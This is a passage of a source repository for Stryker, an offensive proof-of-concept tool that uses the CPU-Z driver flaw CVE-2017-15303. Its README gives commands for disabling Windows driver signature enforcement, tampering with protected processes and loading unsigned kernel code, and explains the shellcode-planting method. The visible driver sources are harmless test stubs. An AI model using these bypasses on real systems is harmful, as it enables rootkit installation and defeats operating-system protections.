├── LICENSE.md ├── README.md ├── Stryker.sha256 ├── bin ├── Stryker.exe ├── cpuz141.sys ├── dummy.sys ├── dummy2.sys └── procexp152.sys └── src ├── DummyDrv ├── dummy.sln └── dummy │ ├── dummy.vcxproj │ ├── dummy.vcxproj.filters │ ├── dummy.vcxproj.user │ └── main.c ├── DummyDrv2 ├── dummy.sln └── dummy │ ├── dummy.vcxproj │ ├── dummy.vcxproj.filters │ ├── dummy.vcxproj.user │ ├── main.c │ ├── main.h │ └── r3request.c └── Maya ├── Resource.rc ├── Stryker.sln ├── Stryker.vcxproj ├── Stryker.vcxproj.filters ├── Stryker.vcxproj.user ├── ci.c ├── ci.h ├── drvmap.c ├── drvmap.h ├── drvstore ├── cpuz141.sys └── procexp152.sys ├── global.h ├── hde ├── hde64.c ├── hde64.h ├── pstdint.h └── table64.h ├── instdrv.c ├── instdrv.h ├── irp.h ├── ldr.c ├── ldr.h ├── main.c ├── minirtl ├── _filename.c ├── _filename.h ├── _strcat.c ├── _strcmp.c ├── _strcmpi.c ├── _strcpy.c ├── _strend.c ├── _strlen.c ├── _strncmp.c ├── _strncmpi.c ├── _strncpy.c ├── _strstri.c ├── cmdline.c ├── cmdline.h ├── minirtl.h ├── rtltypes.h ├── strtoi.c ├── strtou64.c ├── strtoul.c ├── u64tohex.c ├── u64tostr.c ├── ultohex.c └── ultostr.c ├── ntos.h ├── ob.c ├── ob.h ├── pagewalk.c ├── pagewalk.h ├── ps.c ├── ps.h ├── readwrt.c ├── readwrt.h ├── resource.h ├── sup.c ├── sup.h ├── test.c └── test.h /LICENSE.md: -------------------------------------------------------------------------------- 1 | Copyright (c) Stryker Project authors 2 | 3 | Redistribution and use in source and binary forms, with or without 4 | modification, are permitted provided that the following conditions are met: 5 | 6 | * Redistributions of source code must retain the above copyright notice, this 7 | list of conditions and the following disclaimer. 8 | 9 | * Redistributions in binary form must reproduce the above copyright notice, 10 | this list of conditions and the following disclaimer in the documentation 11 | and/or other materials provided with the distribution. 12 | 13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 14 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 15 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 17 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 18 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 19 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 20 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 21 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 22 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Stryker 3 | ## Multi-purpose proof-of-concept tool based on CPU-Z CVE-2017-15303 4 | 5 | #### System Requirements 6 | 7 | + x64 Windows 7/8/8.1/10; 8 | + Stryker designed only for x64 Windows; 9 | + Administrative privilege is required. 10 | 11 | # Features 12 | 13 | + Driver Signature Enforcement Overrider (similar to DSEFIx); 14 | + Protected Processes Hijacking via Process object modification; 15 | + Driver loader for bypassing Driver Signature Enforcement (similar to TDL). 16 | 17 | #### Usage 18 | 19 | ###### STRYKER -dse on | off 20 | ###### STRYKER -prot ProcessID (ProcessID in decimal form) 21 | ###### STRYKER -load filename 22 | * -dse - turn off/on Driver Signature Enforcement (similar to DSEFix functionality); 23 | * -prot - modify process object of given ProcessID; 24 | * -load - load input file as code buffer to kernel mode and run it (similar to TDL functionality). 25 | 26 | Example: 27 | + stryker -dse off 28 | + stryker -prot 1188 29 | + stryker -load c:\driverless\mysuperhack.sys 30 | 31 | Note: 32 | Stryker expects both cpuz141.sys and procexp152.sys are located in the same directory as program itself. 33 | 34 | #### Limitations of -dse command 35 | 36 | + PatchGuard awareness. 37 | 38 | #### Limitations of -prot command 39 | 40 | + Likely PatchGuard awareness or subject of future PatchGuard awareness. 41 | 42 | #### Limitations of -load command 43 | 44 | + Loaded drivers MUST BE specially designed to run as "driverless". 45 | + No SEH support for target drivers. 46 | + No driver unloading. 47 | + Only ntoskrnl import resolved, everything else is up to you. 48 | + SysInternals Process Explorer driver as shellcode storage/executor is required. 49 | + Several Windows primitives are banned by PatchGuard from usage from the pool buffer not inside loaded modules list, e.g. notify routines. 50 | 51 | You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware. 52 | 53 | # How it work 54 | 55 | It uses CPU-Z (https://www.cpuid.com/softwares/cpu-z.html) internal driver (version 1.41 as per CVE-2017-15303) to read/write into physical memory and read CPU control registers. 56 | 57 | Depending on command Stryker will either work as DSEFix/TDL or modify kernel mode process objects (EPROCESS). 58 | 59 | When in -load mode Stryker will use 3rd party signed driver from SysInternals Process Explorer software (driver version 1.52) to place a small loader shellcode inside it IRP_MJ_DEVICE_CONTROL/IRP_MJ_CREATE/IRP_MJ_CLOSE handler. This is done by overwriting physical memory where Process Explorer dispatch handler located and triggering it by calling driver IRP_MJ_CREATE (CreateFile call). Triggered shellcode will map input driver as code buffer to kernel mode and run it, current IRQL will be PASSIVE_LEVEL. 60 | 61 | Also with slight modification shellcode can be used to simple execute your small piece of code in the kernel mode (not implemented in this tool). 62 | 63 | # Build 64 | 65 | Stryker comes with full source code. 66 | In order to build from source you need Microsoft Visual Studio 2015 U1 and later versions. For driver builds you need Microsoft Windows Driver Kit 8.1 and/or above. 67 | 68 | # Support and Warranties 69 | 70 | There is no support except critical bugfixes for Stryker itself. There is absolutely ZERO warranties of it work. 71 | Using this program might render your computer into BSOD. Compiled binary and source code provided AS-IS in help it will be useful BUT WITHOUT WARRANTY OF ANY KIND. 72 | 73 | ANY USE OF THE SOFTWARE IS ENTIRELY AT YOUR OWN RISK. 74 | 75 | # Short answers on possible Frequency Asked Questions 76 | + Q: Can anything else except Process Explorer driver be used to execute shellcode? 77 | + A: Yes, but you have to carefully examine candidate to make sure it can store and execute shellcode. 78 | 79 | + Q: What about newest versions of CPU-Z? Can they be used to read/write physical memory, CPU control registers? 80 | + A: CPU-Z driver was redesigned to address CVE-2017-15303 and some functionality is no longer available. However old versions of CPU-Z may have the same functionality. 81 | 82 | + Q: Are the any other similar drivers with same functionality as CPU-Z? 83 | + A: Yes, a lot of them, e.g. WinIO.sys, AsIO64.sys, Asmmap64.sys. They all generally provide read/write access to the physical memory in different ways (\Device\PhysicalMemory). 84 | 85 | + Q: Does this work on every Windows version? Including not released yet? 86 | + A: It was tested on Windows 7 / 8.1 / 10 up to RS3. Working in future versions is unlikely. 87 | 88 | + Q: Will be support of Windows 10 NEXT or Windows XX NEXT added? 89 | + A: Unlikely. 90 | 91 | # References 92 | 93 | * CVE-2017-15303, https://www.cvedetails.com/cve/CVE-2017-15303/ 94 | * Decrement Windows kernel for fun and profit, https://sww-it.ru/2018-01-29/1532 95 | 96 | # Authors 97 | 98 | (c) 2018 Stryker Project 99 | 100 | -------------------------------------------------------------------------------- /Stryker.sha256: -------------------------------------------------------------------------------- 1 | ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d *bin\cpuz141.sys 2 | 56dac82917254aee313f11cea4e760da3561e143c8caa5cc858c8dcf398a622d *bin\dummy.sys 3 | b0d0a71ad8bb42fd9067bea3b3ac68937700df29c91f38be907b67b2e6fd182c *bin\dummy2.sys 4 | 41cceace9751dce2b6ecaedc9a2d374fbb6458cf93b00a1dcd634ad0bc54ef89 *bin\procexp152.sys 5 | 6ee5043af728aaba67ac88a5736daaf6d84bd7823133eaa76c9330587ad9ec37 *bin\Stryker.exe 6 | 14eec2753d0e9b432c54c4a70fc59e3be75674313b6308a7a820e6682f775eb9 *src\DummyDrv\dummy.sln 7 | d61ebda2674d2db05a235478f89fed02c2de049b00ac5648fcebd4c4e638f71c *src\DummyDrv\dummy\dummy.vcxproj 8 | 2d469aafdb7e37a2d58d4e7875abbfd27599762333cba8e28376c16fa7446e9c *src\DummyDrv\dummy\dummy.vcxproj.filters 9 | d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *src\DummyDrv\dummy\dummy.vcxproj.user 10 | 4c86a0477e8f21e81bc6651bc06cea26241fc5b9a033e64c3cd843267fc98575 *src\DummyDrv\dummy\main.c 11 | 14eec2753d0e9b432c54c4a70fc59e3be75674313b6308a7a820e6682f775eb9 *src\DummyDrv2\dummy.sln 12 | f9a718ca087a1dce71638855837c464b190b7310f8e6715fc4471ed2b85af27d *src\DummyDrv2\dummy\dummy.vcxproj 13 | f53e8133a9d12b751445ed57f4574bbeba722d26096196f544ed1794adf699f4 *src\DummyDrv2\dummy\dummy.vcxproj.filters 14 | d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *src\DummyDrv2\dummy\dummy.vcxproj.user 15 | 1e73ce5b6b079e6986509c218ce0880536b37c505056f831989e73b835c1cbbc *src\DummyDrv2\dummy\main.c 16 | f0732da25aa6b0a64eb0ebfc730c0902ed6fd1cc51f43f66813adbc5283de6ec *src\DummyDrv2\dummy\main.h 17 | 10b9fe09b9357cb3c35a00a8b09ae24141ec5941a37c461c2a296d822aa2b512 *src\DummyDrv2\dummy\r3request.c 18 | 37902301d3a65dfc9539f5878381092549494951169f8465cb6cdc66184867f4 *src\Maya\ci.c 19 | 16a9e82679e14bf3240b52b0d9e2bb425b9a99ef2acbf64a98b1783aed652d29 *src\Maya\ci.h 20 | e546b399ee2ac543060c722f4fb3c89749e7dabee29b5ae5f6986e0368ca2ee7 *src\Maya\drvmap.c 21 | 9b47b6962fdebde1340e9018418d550445cdc8e75e0faef2dc31d6da47a4ca11 *src\Maya\drvmap.h 22 | 79eb4def918bff4ca7ac8174ac04620b7c408531baca1181c615d31945720299 *src\Maya\global.h 23 | 530b49b87a69ae214ebbb6ba5ca8d3f922b9772ee20e3907bcb48b1ac1c8084e *src\Maya\instdrv.c 24 | 5ab4e6a630152e02897f0ff346dcf0ae22fdbf2092f1243b9a0ce4e10fadaddd *src\Maya\instdrv.h 25 | 31db46b5679fb5366b148f39a5cf0843ba27139304fe19761e593fb51eec9271 *src\Maya\irp.h 26 | b3f5131b8073fad5f07cfe3f8b72a9c95d8b10ee4f0056eb1c025da883134432 *src\Maya\ldr.c 27 | a2abec15324e2558c89395320fdcfc864695d4d37d0c0daddd3d01365c7e67cd *src\Maya\ldr.h 28 | a5ed7346598f1a22a165ed369515a7f5460f948b99527d38c545e124233509b7 *src\Maya\main.c 29 | 7cb3c0ffebe6edf2521db50c96d95d08b95099320a11a512832720ccd6feafa6 *src\Maya\ntos.h 30 | 9a8930975c0fc064eac881043216c6607e4e8f7ef8939e00d2c3dca67500f45f *src\Maya\ob.c 31 | 3b74d15b45dba480bcf15d282cf62cd9164c2d8ba1f5198ae3b3d763e57f6c73 *src\Maya\ob.h 32 | 27c35e10c8203b0b2cb2c85ff5116b5379e8b31011a9526bd593016a01c1398b *src\Maya\pagewalk.c 33 | 865861938383688616c8073c5625d57adc7d905fc53ae3573b6a752a6974ea8a *src\Maya\pagewalk.h 34 | 551e9cc66d164a1cb332332d69ab4e34d1f6421b47ef8973fb26fcdf686266f7 *src\Maya\ps.c 35 | b2757dc562247653335e2e8a83953182a5f757a00436ea8ea93e6c6d3fd293fc *src\Maya\ps.h 36 | d61a960cb9e272fd832750ea7382b6adc3ad16f4841b2574ed3d7ba2c1ec2839 *src\Maya\readwrt.c 37 | 284cc912557ce154269ca48aa1682d4041a805fab4ff66e05e41ed4d04de1962 *src\Maya\readwrt.h 38 | 6b95cd81ca4f309ac9f243ae73d2e8099634aaffead5b7b214bfcd14b6d604f6 *src\Maya\resource.h 39 | 7a9640f0a7688b9549d631c74b34ec28e19c6549920640d63f2bfa8f6ed6e158 *src\Maya\Resource.rc 40 | cf1bdcc3a06460e390d3b00709ef4f771c7e9972e377cdaf66d74f176e6ef562 *src\Maya\Stryker.sln 41 | 3480b456363c1d8fee4e0d761e9b2c9d8f4de73bbd93c11aa98073c09d167910 *src\Maya\Stryker.vcxproj 42 | bd8a1511e47fd05ce75e1239e295e1e5fd05ee4f067da695e346e4c70648ed2d *src\Maya\Stryker.vcxproj.filters 43 | 20725a2c5a111a89baf22b8b73ba04a5df5eb1f488eeed409b8757f93cbdaa1f *src\Maya\Stryker.vcxproj.user 44 | cfed23b04f4b2e2723a2d3203520b666c88c0b71ac6b0a5b72a88d1c236ff8f3 *src\Maya\sup.c 45 | fbca6e81e0f205ff1f4c98fdd18b02270b8fb2817aafb86f91446983dd27d1d4 *src\Maya\sup.h 46 | 8a697d80b315c249a4c6fa7d2e9a78561d9ca3943679eb6f89d0e49e88c8079e *src\Maya\test.c 47 | d48a6f6fbdd401e264c1b24845df64d54d62c721a1a2b6c853cdf694ec52d18c *src\Maya\test.h 48 | ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d *src\Maya\drvstore\cpuz141.sys 49 | 41cceace9751dce2b6ecaedc9a2d374fbb6458cf93b00a1dcd634ad0bc54ef89 *src\Maya\drvstore\procexp152.sys 50 | 53a7ce27591e040b63880a3dd326b8ba8c97a0fa34d5e2d32aba89a0147434f6 *src\Maya\hde\hde64.c 51 | e99aa4997bda14b534c614c3d8cb78a72c4aca91a1212c8b03ec605d1d75e36e *src\Maya\hde\hde64.h 52 | f8e6a0be357726bee35c7247b57408b54bb38d94e8324a6bb84b91c462b2be30 *src\Maya\hde\pstdint.h 53 | b774446d2f110ce954fb0a710f4693c5562ddbd8d56fe84106f2ee80db8b50a2 *src\Maya\hde\table64.h 54 | 893b90b942372928009bad64f166c7018701497e4f7cd1753cdc44f76da06707 *src\Maya\minirtl\cmdline.c 55 | bd6fe82852c4fcdfab559defa33ea394b752a4e4a5ac0653ae20c4a94b0175ed *src\Maya\minirtl\cmdline.h 56 | 107245437ed86b6f1e839b2d3d9bbadb3d9980046cb5c7001f985fed3627962f *src\Maya\minirtl\minirtl.h 57 | b9de99d3447bb1a125cb92aa1b3f9b56a59522436f1a1a97f23aac9cee90341c *src\Maya\minirtl\rtltypes.h 58 | ca0b7a38be2f3f63a69aca6da7b3a62a59fcefee92de00e9796f68d4a2a23158 *src\Maya\minirtl\strtoi.c 59 | 0320808115d42f04f63a382e8f386aa9bc77ba879892f5ccc94c40378b5131c8 *src\Maya\minirtl\strtou64.c 60 | c51beca480d6e6f88174698503c0856c56488a59101d259c068dccb0902b01ec *src\Maya\minirtl\strtoul.c 61 | e56e67b10a67f0d5ef4128c7ab0c6cb9ba9966916720525edfa6abf3101dfe13 *src\Maya\minirtl\u64tohex.c 62 | 4d15af5a22467795c5367c3956746d01424795784f62ca3f30e4619c063338a5 *src\Maya\minirtl\u64tostr.c 63 | f81c975acd016c97776dd3a8e3218e148682b0336ff3fcd77fad6d9b86ddf107 *src\Maya\minirtl\ultohex.c 64 | 9cbedf9b92abaef3ea28de28dd523ac44079592178ef727c7003c339a5a54712 *src\Maya\minirtl\ultostr.c 65 | c1405b280bacc7566ccd041a74461de3f8496128fd71e39368905cf8d95268f6 *src\Maya\minirtl\_filename.c 66 | 9e3f1386bfb64dbaa3cbb12fd3bf51c734872c2fdf15cf1aaeca52a515767519 *src\Maya\minirtl\_filename.h 67 | 83772aa217508279294d91af5cfabec9b5e00b836a2e2f5fe37cf1ebc2905a52 *src\Maya\minirtl\_strcat.c 68 | 2a67c7690ec6df8e233207116b0e4fe76c02ae43595d9e606e123572b6ac88a1 *src\Maya\minirtl\_strcmp.c 69 | ef1b18997ea473ac8d516ef60efc64b9175418b8f078e088d783fdaef2544969 *src\Maya\minirtl\_strcmpi.c 70 | 969b35213fa23ff50a169e5498a97f28bc6f5820b447b78ec9dc6910dd8cc3e8 *src\Maya\minirtl\_strcpy.c 71 | 27159b8ff67d3f8e6c7fdb4b57b9f57f899bdfedf92cf10276269245c6f4e066 *src\Maya\minirtl\_strend.c 72 | 60f19c6b805801e13824c4d9d44748da8245cd936971411d3d36b873121888eb *src\Maya\minirtl\_strlen.c 73 | 97e0720ed22d2d99e8148aab7ab2cb2cc3df278225669828b2d8d4d9ef856d94 *src\Maya\minirtl\_strncmp.c 74 | 87cc72bb8e3f1534bee09ee278ecd928d975ebb94aeffc767b67249815a0bf3a *src\Maya\minirtl\_strncmpi.c 75 | 0434d69daa20fbf87d829ffc17e43dcc2db3386aff434af888011fdec2f645a4 *src\Maya\minirtl\_strncpy.c 76 | 52a696ae714eb81033c477d1ec6c01389eef56c847609e89d360c2fb6899b4b6 *src\Maya\minirtl\_strstri.c 77 | -------------------------------------------------------------------------------- /bin/Stryker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/Stryker.exe -------------------------------------------------------------------------------- /bin/cpuz141.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/cpuz141.sys -------------------------------------------------------------------------------- /bin/dummy.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/dummy.sys -------------------------------------------------------------------------------- /bin/dummy2.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/dummy2.sys -------------------------------------------------------------------------------- /bin/procexp152.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/bin/procexp152.sys -------------------------------------------------------------------------------- /src/DummyDrv/dummy.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x64 = Release|x64 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64 14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64 15 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /src/DummyDrv/dummy/dummy.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290} 15 | {1bc93793-694f-48fe-9372-81e2b05556fd} 16 | v4.5 17 | 12.0 18 | Debug 19 | Win32 20 | dummy 21 | 8.1 22 | 23 | 24 | 25 | Windowsv6.3 26 | true 27 | WindowsKernelModeDriver10.0 28 | Driver 29 | KMDF 30 | Universal 31 | 32 | 33 | Windowsv6.3 34 | false 35 | WindowsKernelModeDriver8.1 36 | Driver 37 | KMDF 38 | Universal 39 | true 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | DbgengKernelDebugger 51 | AllRules.ruleset 52 | .\output\$(Platform)\$(Configuration)\ 53 | .\output\$(Platform)\$(Configuration)\ 54 | 55 | 56 | DbgengKernelDebugger 57 | AllRules.ruleset 58 | true 59 | .\output\$(Platform)\$(Configuration)\ 60 | .\output\$(Platform)\$(Configuration)\ 61 | 62 | 63 | 64 | false 65 | true 66 | Speed 67 | false 68 | true 69 | All 70 | true 71 | CompileAsC 72 | true 73 | false 74 | 75 | 76 | false 77 | false 78 | true 79 | true 80 | true 81 | DriverEntry 82 | true 83 | true 84 | false 85 | 86 | 87 | 88 | 89 | false 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /src/DummyDrv/dummy/dummy.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | -------------------------------------------------------------------------------- /src/DummyDrv/dummy/dummy.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Off 5 | 6 | -------------------------------------------------------------------------------- /src/DummyDrv/dummy/main.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017 4 | * 5 | * TITLE: MAIN.C 6 | * 7 | * VERSION: 1.01 8 | * 9 | * DATE: 20 Apr 2017 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | 18 | #include 19 | 20 | DRIVER_INITIALIZE DriverEntry; 21 | #pragma alloc_text(INIT, DriverEntry) 22 | 23 | /* 24 | * DriverEntry 25 | * 26 | * Purpose: 27 | * 28 | * Driver base entry point. 29 | * 30 | */ 31 | NTSTATUS DriverEntry( 32 | _In_ struct _DRIVER_OBJECT *DriverObject, 33 | _In_ PUNICODE_STRING RegistryPath 34 | ) 35 | { 36 | PEPROCESS Process; 37 | KIRQL Irql; 38 | PWSTR sIrql; 39 | 40 | /* This parameters are invalid due to nonstandard way of loading and should not be used. */ 41 | UNREFERENCED_PARAMETER(DriverObject); 42 | UNREFERENCED_PARAMETER(RegistryPath); 43 | 44 | DbgPrint("Hello from kernel mode, system range start is %p, code mapped at %p\n", MmSystemRangeStart, DriverEntry); 45 | 46 | Process = PsGetCurrentProcess(); 47 | DbgPrint("I'm at %s, Process : %lu (%p)\n", 48 | __FUNCTION__, 49 | (ULONG)PsGetCurrentProcessId(), 50 | Process); 51 | 52 | Irql = KeGetCurrentIrql(); 53 | 54 | switch (Irql) { 55 | 56 | case PASSIVE_LEVEL: 57 | sIrql = L"PASSIVE_LEVEL"; 58 | break; 59 | case APC_LEVEL: 60 | sIrql = L"APC_LEVEL"; 61 | break; 62 | case DISPATCH_LEVEL: 63 | sIrql = L"DISPATCH_LEVEL"; 64 | break; 65 | case CMCI_LEVEL: 66 | sIrql = L"CMCI_LEVEL"; 67 | break; 68 | case CLOCK_LEVEL: 69 | sIrql = L"CLOCK_LEVEL"; 70 | break; 71 | case IPI_LEVEL: 72 | sIrql = L"IPI_LEVEL"; 73 | break; 74 | case HIGH_LEVEL: 75 | sIrql = L"HIGH_LEVEL"; 76 | break; 77 | default: 78 | sIrql = L"Unknown Value"; 79 | break; 80 | } 81 | 82 | DbgPrint("KeGetCurrentIrql=%ws\n", sIrql); 83 | 84 | return STATUS_SUCCESS; 85 | } 86 | -------------------------------------------------------------------------------- /src/DummyDrv2/dummy.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x64 = Release|x64 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64 14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64 15 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /src/DummyDrv2/dummy/dummy.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290} 15 | {1bc93793-694f-48fe-9372-81e2b05556fd} 16 | v4.5 17 | 12.0 18 | Debug 19 | Win32 20 | dummy 21 | 8.1 22 | 23 | 24 | 25 | Windowsv6.3 26 | true 27 | WindowsKernelModeDriver10.0 28 | Driver 29 | KMDF 30 | Universal 31 | 32 | 33 | Windowsv6.3 34 | false 35 | WindowsKernelModeDriver8.1 36 | Driver 37 | KMDF 38 | Universal 39 | true 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | DbgengKernelDebugger 51 | AllRules.ruleset 52 | .\output\$(Platform)\$(Configuration)\ 53 | .\output\$(Platform)\$(Configuration)\ 54 | 55 | 56 | DbgengKernelDebugger 57 | AllRules.ruleset 58 | false 59 | .\output\$(Platform)\$(Configuration)\ 60 | .\output\$(Platform)\$(Configuration)\ 61 | 62 | 63 | 64 | false 65 | true 66 | Speed 67 | false 68 | true 69 | All 70 | true 71 | CompileAsC 72 | false 73 | false 74 | 75 | 76 | false 77 | false 78 | true 79 | true 80 | true 81 | DriverEntry 82 | true 83 | true 84 | false 85 | 86 | 87 | 88 | 89 | false 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | -------------------------------------------------------------------------------- /src/DummyDrv2/dummy/dummy.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | 27 | 28 | Header Files 29 | 30 | 31 | -------------------------------------------------------------------------------- /src/DummyDrv2/dummy/dummy.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Off 5 | 6 | -------------------------------------------------------------------------------- /src/DummyDrv2/dummy/main.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017 4 | * 5 | * TITLE: MAIN.C 6 | * 7 | * VERSION: 1.01 8 | * 9 | * DATE: 20 Apr 2017 10 | * 11 | * "Driverless" example #2 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #include 20 | #include "main.h" 21 | 22 | #define DEBUGPRINT 23 | 24 | /* 25 | * PrintIrql 26 | * 27 | * Purpose: 28 | * 29 | * Debug print current irql. 30 | * 31 | */ 32 | VOID PrintIrql() 33 | { 34 | KIRQL Irql; 35 | PWSTR sIrql; 36 | 37 | Irql = KeGetCurrentIrql(); 38 | 39 | switch (Irql) { 40 | 41 | case PASSIVE_LEVEL: 42 | sIrql = L"PASSIVE_LEVEL"; 43 | break; 44 | case APC_LEVEL: 45 | sIrql = L"APC_LEVEL"; 46 | break; 47 | case DISPATCH_LEVEL: 48 | sIrql = L"DISPATCH_LEVEL"; 49 | break; 50 | case CMCI_LEVEL: 51 | sIrql = L"CMCI_LEVEL"; 52 | break; 53 | case CLOCK_LEVEL: 54 | sIrql = L"CLOCK_LEVEL"; 55 | break; 56 | case IPI_LEVEL: 57 | sIrql = L"IPI_LEVEL"; 58 | break; 59 | case HIGH_LEVEL: 60 | sIrql = L"HIGH_LEVEL"; 61 